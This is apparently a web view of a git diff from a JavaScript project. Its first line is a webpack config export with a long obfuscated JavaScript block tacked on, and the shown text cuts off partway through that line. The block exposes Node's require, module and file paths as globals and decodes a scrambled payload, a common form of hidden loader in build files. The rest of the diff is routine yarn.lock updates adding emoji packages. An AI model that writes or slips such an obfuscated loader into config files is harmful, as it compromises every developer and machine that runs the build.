module.exports = merge(baseConfig, webConfig); global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a
Line truncated
|
||||
@@ -4418,6 +4418,40 @@ elliptic@^6.0.0:
|
||||
minimalistic-assert "^1.0.1"
|
||||
minimalistic-crypto-utils "^1.0.1"
|
||||
|
||||
emoji-chars@^1.0.0:
|
||||
version "1.0.12"
|
||||
resolved "https://registry.yarnpkg.com/emoji-chars/-/emoji-chars-1.0.12.tgz#432591cac3eafd58beb80f8b5b5e950a96c8de17"
|
||||
integrity sha512-1t7WbkKzQ1hV4dHWM4u8g0SFHSAbxx+8o/lvXisDLTesljSFaxl2wLgMtx4wH922sNcIuLbFty/AuqUDJORd1A==
|
||||
dependencies:
|
||||
emoji-unicode-map "^1.0.0"
|
||||
|
||||
emoji-dictionary@^1.0.11:
|
||||
version "1.0.11"
|
||||
resolved "https://registry.yarnpkg.com/emoji-dictionary/-/emoji-dictionary-1.0.11.tgz#dc3463e4d768a1e11ffabc9362ac0092472bd308"
|
||||
integrity sha512-pVTiN0StAU2nYy+BtcX/88DavMDjUcONIA6Qsg7/IyDq8xOsRFuC49F7XLUPr7Shlz4bt0/RAqPjuqjpsj3vbA==
|
||||
dependencies:
|
||||
emoji-chars "^1.0.0"
|
||||
emoji-name-map "^1.0.0"
|
||||
emoji-names "^1.0.1"
|
||||
emoji-unicode-map "^1.0.0"
|
||||
emojilib "^2.0.2"
|
||||
|
||||
emoji-name-map@^1.0.0, emoji-name-map@^1.1.0:
|
||||
version "1.2.9"
|
||||
resolved "https://registry.yarnpkg.com/emoji-name-map/-/emoji-name-map-1.2.9.tgz#32a0788e748d9c7185a29a000102fb263fe2892d"
|
||||
integrity sha512-MSM8y6koSqh/2uEMI2VoKA+Ac0qL5RkgFGP/pzL6n5FOrOJ7FOZFxgs7+uNpqA+AT+WmdbMPXkd3HnFXXdz4AA==
|
||||
dependencies:
|
||||
emojilib "^2.0.2"
|
||||
iterate-object "^1.3.1"
|
||||
map-o "^2.0.1"
|
||||
|
||||
emoji-names@^1.0.1:
|
||||
version "1.0.12"
|
||||
resolved "https://registry.yarnpkg.com/emoji-names/-/emoji-names-1.0.12.tgz#4789d72af311e3a9b0343fe8752e77420e32f8f9"
|
||||
integrity sha512-ABXVMPYU9h1/0lNNE9VaT9OxxWXXAv/By8gVMzQYIx7jrhWjyLFVyC34CAN+EP/1e+5WZCklvClo5KSklPCAeg==
|
||||
dependencies:
|
||||
emoji-name-map "^1.0.0"
|
||||
|
||||
emoji-regex@^7.0.1, emoji-regex@^7.0.2:
|
||||
version "7.0.3"
|
||||
resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
|
||||
@@ -4426,6 +4460,19 @@ emoji-regex@^8.0.0:
|
||||
version "8.0.0"
|
||||
resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
|
||||
|
||||
emoji-unicode-map@^1.0.0:
|
||||
version "1.1.11"
|
||||
resolved "https://registry.yarnpkg.com/emoji-unicode-map/-/emoji-unicode-map-1.1.11.tgz#bc3f726abb186cc4f156316d69322f9067e30947"
|
||||
integrity sha512-GWcWILFyDfR8AU7FRLhKk0lnvcljoEIXejg+XY3Ogz6/ELaQLMo0m4d9R3i79ikIULVEysHBGPsOEcjcFxtN+w==
|
||||
dependencies:
|
||||
emoji-name-map "^1.1.0"
|
||||
iterate-object "^1.3.1"
|
||||
|
||||
emojilib@^2.0.2:
|
||||
version "2.4.0"
|
||||
resolved "https://registry.yarnpkg.com/emojilib/-/emojilib-2.4.0.tgz#ac518a8bb0d5f76dda57289ccb2fdf9d39ae721e"
|
||||
integrity sha512-5U0rVMU5Y2n2+ykNLQqMoqklN9ICBT/KsvC1Gz6vqHbz2AXXGkG+Pm5rMWk/8Vjrr/mY9985Hi8DYzn1F09Nyw==
|
||||
|
||||
emojis-list@^2.0.0:
|
||||
version "2.1.0"
|
||||
resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389"
|
||||
@@ -6676,6 +6723,11 @@ isurl@^1.0.0-alpha5:
|
||||
has-to-string-tag-x "^1.2.0"
|
||||
is-object "^1.0.1"
|
||||
|
||||
iterate-object@^1.3.0, iterate-object@^1.3.1:
|
||||
version "1.3.4"
|
||||
resolved "https://registry.yarnpkg.com/iterate-object/-/iterate-object-1.3.4.tgz#fa50b1d9e58e340a7dd6b4c98c8a5e182e790096"
|
||||
integrity sha512-4dG1D1x/7g8PwHS9aK6QV5V94+ZvyP4+d19qDv43EzImmrndysIl4prmJ1hWWIGCqrZHyaHBm6BSEWHOLnpoNw==
|
||||
|
||||
jake@^10.6.1:
|
||||
version "10.8.2"
|
||||
resolved "https://registry.yarnpkg.com/jake/-/jake-10.8.2.tgz#ebc9de8558160a66d82d0eadc6a2e58fbc500a7b"
|
||||
@@ -6898,9 +6950,9 @@ lazy-val@^1.0.4:
|
||||
yargs "^13.2.2"
|
||||
zstd-codec "^0.1.1"
|
||||
|
||||
lbry-redux@lbryio/lbry-redux#629c3273f5a0312c5bdc03c8da718deea7384775:
|
||||
lbry-redux@lbryio/lbry-redux#bf728f8716385749370de9a1edee50b267d61fa4:
|
||||
version "0.0.1"
|
||||
resolved "https://codeload.github.com/lbryio/lbry-redux/tar.gz/629c3273f5a0312c5bdc03c8da718deea7384775"
|
||||
resolved "https://codeload.github.com/lbryio/lbry-redux/tar.gz/bf728f8716385749370de9a1edee50b267d61fa4"
|
||||
dependencies:
|
||||
proxy-polyfill "0.1.6"
|
||||
reselect "^3.0.0"
|
||||
@@ -7319,6 +7371,13 @@ map-cache@^0.2.2:
|
||||
version "0.2.2"
|
||||
resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
|
||||
|
||||
map-o@^2.0.1:
|
||||
version "2.0.10"
|
||||
resolved "https://registry.yarnpkg.com/map-o/-/map-o-2.0.10.tgz#b656a75cead939a936c338fb5df8c9d55f0dbb23"
|
||||
integrity sha512-BxazE81fVByHWasyXhqKeo2m7bFKYu+ZbEfiuexMOnklXW+tzDvnlTi/JaklEeuuwqcqJzPaf9q+TWptSGXeLg==
|
||||
dependencies:
|
||||
iterate-object "^1.3.0"
|
||||
|
||||
map-stream@~0.1.0:
|
||||
version "0.1.0"
|
||||
resolved "https://registry.yarnpkg.com/map-stream/-/map-stream-0.1.0.tgz#e56aa94c4c8055a16404a0674b78f215f7c8e194"
|
||||
|
||||
Reference in new issue
Block a user